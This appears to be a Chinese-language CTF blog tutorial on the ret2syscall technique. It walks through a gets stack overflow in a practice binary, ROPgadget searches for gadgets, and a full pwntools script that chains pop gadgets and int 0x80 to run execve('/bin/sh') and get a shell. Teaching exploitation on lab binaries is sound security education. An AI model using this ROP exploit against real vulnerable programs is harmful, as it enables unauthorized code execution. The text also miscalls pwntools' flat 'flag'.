原理

控制程序执行系统调用,获取shell

例子

这里使用ctf wiki上的一个例题(点我下载)

checksec查看保护

checksec3.png

查看保护,发现开启了NX保护

IDA分析

使用IDA分析,发现存在gets函数栈溢出漏洞。

ss.png

在这个题目中,我们既不能调用程序已有代码,也不能自己填充执行代码

所以,我们利用程序中的gadgets来执行系统调用进而获得shell

计算偏移地址

根据前面所学,我们既可以通过下断点,然后查看esp和ebp寄存器的值计算得到偏移地址。

也可以输入一段字符串,根据错误信息定位到返回地址所在的内存空间继而计算偏移地址。

(这里省略计算过程)v4相对于ebp偏移地址是108,相对于返回地址偏移112。

gadgets思路

简单的说,我们只要把系统调用相应的参数放到寄存器中,然后执行int 80h就可以执行对应的系统调用

比如,我们向利用如下的系统调用来执行shell

1
execve("/bin/sh",NULL,NULL)

我们只要使得:

  • 系统调用号,即EAX等于0xb(exec对应的系统调用号
  • 第一个参数,即EBX指向 /bin/bash 的地址。
  • 第二个参数和第三个参数,即ECX和EDX应该为0。

想要控制寄存器的值,应该使用gadgets

构造gadgets

我们使用ropgadgets这个工具来寻找gadgets。

这里需要说明的是:

pop指令在把栈顶数据放入EAXret指令将ip寄存器指向栈顶

寻找eax的gadgets

1
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax' 

eax.png

这里,我们使用第二行的代码作为EAX的gadgets,它的地址0x080bb196。

寻找ebx的gadgets

1
ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'

ebx.png

这里,我们使用倒数第六行的作为gadgets。它向EDX、ECX、EBX三个寄存器写入数据。

它的地址为0x0806eb90。

寻找/bin/sh

1
ROPgadget --binary ret2syscall --string '/bin/sh' 

binsh.png

找到字符串所在地址:0x080be408

寻找int 0x80

int.png

找到int 0x80的地址:0x08049421

构造思路

利用gets的栈溢出漏洞,将返回地址指向 pop eax; ret;

执行pop eax会将栈顶元素放到EAX中,然后执行reteip指向栈顶(即继续执行栈顶指令)

依此类推,将数据填充到EBX、ECX、EDX中,然后执行int 80h**中断进行系统调用**。

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

sh = process('./ret2syscall')

pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_ret_addr = 0x0806eb90
binsh_addr = 0x080be408
int_0x80_addr = 0x08049421

payload = flat([b'a' * 112, pop_eax_ret_addr, 0xb, pop_edx_ecx_ebx_ret_addr, 0, 0, binsh_addr, int_0x80_addr])

sh.sendline(payload)
sh.interactive()

flag函数是pwntools提供的一个实用函数:

flag函数的参数是列表,它将列表中的参数生成一个字符串